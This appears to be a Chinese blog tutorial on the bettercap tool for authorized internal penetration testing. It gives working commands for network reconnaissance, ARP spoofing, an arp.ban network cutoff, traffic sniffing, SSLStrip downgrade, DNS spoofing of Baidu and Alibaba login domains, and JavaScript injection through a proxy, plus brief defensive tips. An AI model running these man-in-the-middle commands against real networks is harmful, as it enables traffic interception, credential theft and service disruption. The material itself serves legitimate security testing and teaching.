第一次接触bettercap是在一次内网渗透测试项目中,当时我需要快速定位内网中的活跃设备并分析流量。bettercap以其轻量级和多功能性立刻吸引了我——它集成了ARP欺骗、DNS欺骗、流量嗅探等十几种实用功能,堪称渗透测试领域的瑞士军刀。
与传统的Ettercap相比,bettercap有几个显著优势:一是采用Go语言编写,跨平台支持更好;二是模块化设计,可以动态加载功能;三是内置了交互式控制台,操作更直观。实测在Kali Linux上安装只需一行命令:
bash复制sudo apt update && sudo apt install bettercap
安装完成后,建议先更新caplets(预置的自动化脚本):
bash复制sudo bettercap -eval "caplets.update; quit"
新手常遇到的第一个坑是权限问题。由于需要操作网卡,必须用sudo运行。如果遇到"no such interface"错误,先用ifconfig确认网卡名称,再通过-I参数指定,比如:
bash复制sudo bettercap -iface eth0
在内网测试中,我习惯先使用net.recon模块进行存活主机探测。这个模块会持续监听ARP和DHCP请求,比传统ping扫描更隐蔽:
bash复制net.recon on
等待1-2分钟后,用net.show查看结果。这里有个实用技巧——添加net.show.meta true可以显示设备厂商信息,帮助识别关键目标:
bash复制192.168.1.0/24 > 192.168.1.100 » net.show
│ 192.168.1.1 00:11:22:33:44:55 TP-Link Technologies
│ 192.168.1.101 08:00:27:AA:BB:CC Oracle VirtualBox
发现目标后,可以用syn.scan进行端口扫描。相比nmap,这个模块的优点是速度极快且不易触发防护:
bash复制syn.scan 192.168.1.101 1 1000
扫描结果会自动合并到主机信息中。我曾用这个方法在客户内网发现了一台暴露着445端口的老旧文件服务器,后来成为渗透突破口。
ARP欺骗是中间人攻击的核心技术。bettercap的arp.spoof模块用起来非常简单:
bash复制set arp.spoof.targets 192.168.1.101
arp.spoof on
这里有几个实用参数值得关注:
arp.spoof.fullduplex:双向欺骗(针对有ARP防护的路由器)arp.spoof.internal:是否欺骗内网主机间通信arp.spoof.whitelist:设置白名单避免误伤把arp.spoof换成arp.ban就是经典的断网攻击。去年某次红队演练中,我用这个方法成功阻断了目标的安全更新:
bash复制set arp.spoof.targets 192.168.1.101
arp.ban on
恢复网络只需:
bash复制arp.ban off
开启ARP欺骗后,用net.sniff模块可以捕获所有经过的流量:
bash复制net.sniff on
默认会输出到控制台。我更喜欢用net.sniff.output保存为pcap文件,方便用Wireshark分析:
bash复制set net.sniff.output capture.pcap
net.sniff on
对于HTTPS流量,需要配合SSLStrip使用。先设置代理参数:
bash复制set http.proxy.sslstrip true
http.proxy on
这时访问HTTPS网站会降级为HTTP。我在测试中发现,现代浏览器大多会提示不安全,但对某些老旧系统依然有效。
DNS欺骗需要两个前提:目标使用本地DNS服务器,且ARP欺骗已生效。配置方法:
bash复制set dns.spoof.domains www.baidu.com
set dns.spoof.address 192.168.1.100
dns.spoof on
更高效的做法是准备hosts文件:
text复制192.168.1.100 www.baidu.com
192.168.1.100 login.alibaba.com
然后批量加载:
bash复制set dns.spoof.hosts /path/to/spoof_hosts
dns.spoof on
通过http代理可以注入任意JavaScript代码。我常用的测试脚本:
javascript复制function onResponse(req, res) {
if(res.ContentType.indexOf('text/html') === 0) {
let body = res.ReadBody();
res.Body = body.replace(
'</head>',
'<script>alert("Security Test")</script></head>'
);
}
}
加载脚本的命令:
bash复制set http.proxy.script test.js
http.proxy on
作为管理员,可以采取这些防护手段:
在Linux下可以用这个命令检测异常ARP响应:
bash复制arp -v | grep "incomplete"
Windows下推荐使用XArp等可视化工具。我曾用这些方法发现过内网中的恶意扫描行为。
bettercap的Caplets功能让我节省了大量时间。比如这个自动化脚本mitm.cap:
text复制# 设置目标IP
set arp.spoof.targets 192.168.1.101
# 启动模块
arp.spoof on
net.sniff on
http.proxy on
执行时只需:
bash复制sudo bettercap -caplet mitm.cap
官方仓库中有几十个实用Caplet,从WiFi审计到蓝牙攻击应有尽有。更新方法:
bash复制caplets.update
去年在某次授权测试中,我通过bettercap实现了完整突破:
net.recon发现了一台Windows 7主机syn.scan显示开放了445端口整个过程中,bettercap的稳定性和低资源占用让我印象深刻。特别是在持续运行12小时后,内存占用仍不到100MB。
最后提醒一点:所有技术都应在合法授权范围内使用。我习惯在测试结束后立即清理痕迹:
bash复制arp.spoof off
net.sniff off
http.proxy off